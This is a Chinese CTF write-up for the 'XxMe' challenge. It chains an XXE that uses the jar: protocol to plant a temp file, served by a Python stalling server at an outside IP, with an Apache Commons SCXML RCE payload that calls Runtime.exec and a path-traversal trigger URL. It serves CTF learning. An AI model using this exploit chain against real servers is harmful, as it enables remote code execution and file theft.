2023数字中国创新大赛 XxMe

前言

文章首发自: https://xz.aliyun.com/t/12382

属于是折磨一整天!!!

开始坐牢

package BOOT-INF.classes.com.example.demos;

import java.io.File;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

@EnableAutoConfiguration
@Controller
public class Test {
  private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = dbf.newDocumentBuilder();
    Document doc = builder.parse(fileName);
    NodeList nodes = doc.getElementsByTagName("script");
    if (nodes.getLength() != 0)
      return Boolean.valueOf(false); 
    return Boolean.valueOf(true);
  }
  
  @RequestMapping({"/object"})
  @ResponseBody
  public String object(@RequestParam(name = "object", required = false) String object) throws Exception {
    SCXMLExecutor executor = new SCXMLExecutor();
    String file = "file:///home" + File.separator + object;
    try {
      if (check(file).booleanValue()) {
        SCXML scxml = SCXMLReader.read(file);
        executor.setStateMachine(scxml);
        executor.go();
        return "X ME , X ME , XX ME ~~";
      } 
      System.out.println("nonono");
    } catch (Exception e) {
      System.out.println(e);
    } 
    return "X E , X E , XX E ~";
  }
  
  @RequestMapping({"/xxe"})
  @ResponseBody
  public String xxe(@RequestParam(name = "uri", required = false) String uri) throws ParserConfigurationException, IOException, SAXException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = dbf.newDocumentBuilder();
    Document doc = builder.parse(uri);
    NodeList nodes = doc.getChildNodes();
    String res = "";
    for (int i = 0; i < nodes.getLength(); i++) {
      if (nodes.item(i).getNodeType() == 1)
        res = res + nodes.item(i).getTextContent(); 
    } 
    return res;
  }
}

xxe路由可以通过file协议或者netdoc协议读取文件,后者可以列目录

object路由在通过check之后,读取传入的文件路径,然后进行scxml解析

这个scxml最近出现了一个RCE漏洞

https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/

scxml RCE

check过滤了script标签,但是我们可以使用assign代替

le1a.xml内容如下

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<assign location="s" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')"/>

</onentry>
</state>
</scxml>

XXE之jar协议上传临时文件

要实现rce,必须要上传我们的poc,但是这里除了xxe以外,并没有上传点,于是学习到一个trikejar协议上传临时文件

le1a.xml重命名为le1a.jar,利用jar协议去读取le1a.jar的内容,但由于必须要使用!指定解压哪个文件,这里的jar本身就是我们改的后缀名,本质不是一个压缩包,所以我们随便指定一个不存在的le1a.txt即可

xxe.xml放在http服务器上

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [  <!ENTITY xxe SYSTEM "jar:http://101.43.66.67:4444/le1a.jar!/le1a.txt" >]>
<root><name>&xxe;</name></root>

通过题目的xxe功能去访问服务器上的xxe.xml文件

http://127.0.0.1:8080/xxe?uri=http://101.43.66.67:7777/xxe.xml

使用server.py构建一个传输服务器,用于将le1a.jar上传到题目环境中

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = '0.0.0.0' 
listen_port = 4444 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('Client req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))

                self.request.sendall(contents[:-1])
                time.sleep(30)
                print(30)
                self.request.sendall(contents[-1:])

            except Exception as e:
                print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()
1680351227113.png

可以看到临时文件已经存在于题目环境中,内容即为rce的poc(如果是打远程,可用netdoc协议去列出/tmp目录下的文件)

1680351639563.png
1680351664071.png

通过object路由去触发rce漏洞即可(这是我本地环境中的tmp目录,题目环境的tmp目录为/tmp)

http://127.0.0.1:8080/object?object=../../../../var/folders/45/j2rhfghn4s52ky4yznld54400000gn/T/jar_cache60887227063502351.tmp
1680351777239.png

打远程

1680352562663.png
1680352748266.png

我造!!!!!!!!!

参考

https://jlkl.github.io/2020/08/24/Java_03/

https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/